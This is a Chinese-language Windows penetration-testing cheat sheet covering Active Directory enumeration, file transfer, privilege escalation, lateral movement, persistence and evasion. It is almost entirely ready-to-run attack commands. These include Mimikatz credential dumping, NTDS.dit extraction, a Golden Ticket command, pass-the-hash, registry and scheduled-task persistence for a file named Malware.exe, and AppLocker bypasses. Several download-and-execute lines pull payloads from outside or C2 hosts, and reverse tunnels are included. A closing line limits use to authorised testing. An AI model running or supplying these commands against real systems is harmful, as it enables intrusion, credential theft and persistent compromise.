Windows渗透测试备忘录 - 全面指南

信息收集

基础信息收集

net users
net users /domain
net localgroup
net groups /domain
net groups /domain "Domain Admins"

Get-ADUser
Get-Domain
Get-ADComputer -filter {ServicePrincipalName -like <keyword>} -Properties OperatingSystem,OperatingSystemVersion

主机发现

netdiscover -r subnet/24
nbtscan -r [range]
for /L %i in (1,1,255) do @ping.exe -n 1 -w 50 <10.10.10>.%i | findstr TTL

DNS反向查询

$ComputerIPAddress = "10.10.14.14"
[System.Net.Dns]::GetHostEntry($ComputerIPAddress).HostName

Kerberos枚举

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

LDAP枚举工具

ldaputility.exe DumpAllUsers m0chan
ldaputility.exe DumpUser m0chan mr.un1k0d3r
ldaputility.exe DumpUsersEmail m0chan

文件传输方法

TFTP传输

# 攻击机
mkdir tftp
atftpd --deamon --port 69 tftp
cp *file* tftp

# 目标机
tftp -i <[IP]> GET <[FILE]>

PowerShell下载

Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"
(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")

CertUtil传输

certutil.exe -urlcache -split -f https://m0chan:8888/filename outputfilename

BitsAdmin传输

bitsadmin.exe /transfer downld_job /download /priority high http://c2.m0chan.com C:\Temp\mimikatz.exe

权限提升技术

PowerUp.ps1检查

powershell.exe /c IEX(New-Object Net.WebClient).downloadString('webserver/PowerUp.ps1');Invoke-AllChecks

注册表自动登录凭证

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

不安全的文件夹权限

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

Juicy Potato提权

JuicyPotato.exe -l 1337 -p C:\Users\Public\Documents\Mochan.exe -t * -c {5B3E6773-3A99-4A3D-8096-7765DD11785C}

Kerberoasting攻击

Get-DomainSPNTicket -Credential $cred -OutputFormat hashcat

横向移动技术

WMI执行

wmic /node:WS02 /user:DOMAIN\m0chan /password:m0chan process call create "powershell.exe -Enc [BASE64]"

PSExec

psexec.exe \\dc01.m0chanAD.local cmd.exe

PowerShell远程执行

$secpasswd = ConvertTo-SecureString 'pass' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('m0chan\user', $secpasswd)
Invoke-Command -ComputerName FS01 -Credential $cred -ScriptBlock {whoami}

Pass-The-Hash攻击

crackmapexec <ip> -u <user> -H "<lm>" -x "<command>"
impacket-wmiexec <user>@<ip> -hashes <lm:nt>

权限维持技术

注册表自启动

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\Temp\SoftwareUpdate\Malware.exe"

计划任务

schtasks /create /sc minute /mo 1 /tn "Malware" /tr C:\Temp\SoftwareUpdate\Malware.exe

启动文件夹

Windows 10 - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
当前用户 - C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Golden Ticket攻击

kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:utilisateur.chocolate.kirbi
kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

后渗透技术

Mimikatz凭证提取

privilege::debug
sekurlsa::logonPasswords full

NTDS.dit提取

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\ntds\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM .
vssadmin delete shadows /for= [/oldest | /all | /shadow=]

Seatbelt系统信息收集

# 基本OS信息
Seatbelt.exe BasicOSInfo

# 当前进程/令牌权限
Seatbelt.exe TokenGroupPrivs

# 本地组成员
Seatbelt.exe LocalGroupMembers

# 防火墙规则
Seatbelt.exe FirewallRules

绕过技术

AppLocker绕过 - 可写目录

C:\Windows\Tasks 
C:\Windows\Temp 
C:\windows\tracing
C:\Windows\Registration\CRMLog

PowerShell降级攻击

powershell.exe -version 2

MSBuild绕过

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe pshell.csproj

runDLL32绕过

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

隧道技术

Chisel隧道

# 服务端
chisel server -p 8080 --reverse

# 客户端
chisel client SERVER_IP:8080 R:socks

SSH隧道

ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

PowerShell端口转发

netsh interface portproxy add v4tov4 listenport=fromport listenaddress=fromip connectport=toport connectaddress=toip

重要工具集合

1. BloodHound - AD关系可视化分析
2. CrackMapExec - 网络横向移动工具
3. Impacket - 网络协议攻击工具包
4. Mimikatz - Windows凭证提取工具
5. Seatbelt - 本地信息收集工具
6. SharpHound - BloodHound数据收集器
7. Rubeus - Kerberos攻击工具
8. SafetyKatz - Mimikatz的C#实现
9. JuicyPotato - Windows服务账户提权工具
10. PowerUpSQL - SQL Server攻击工具

这份备忘录涵盖了Windows渗透测试的各个方面，从初始信息收集到权限提升、横向移动和权限维持。使用时请确保遵守法律法规，仅在授权测试中使用这些技术。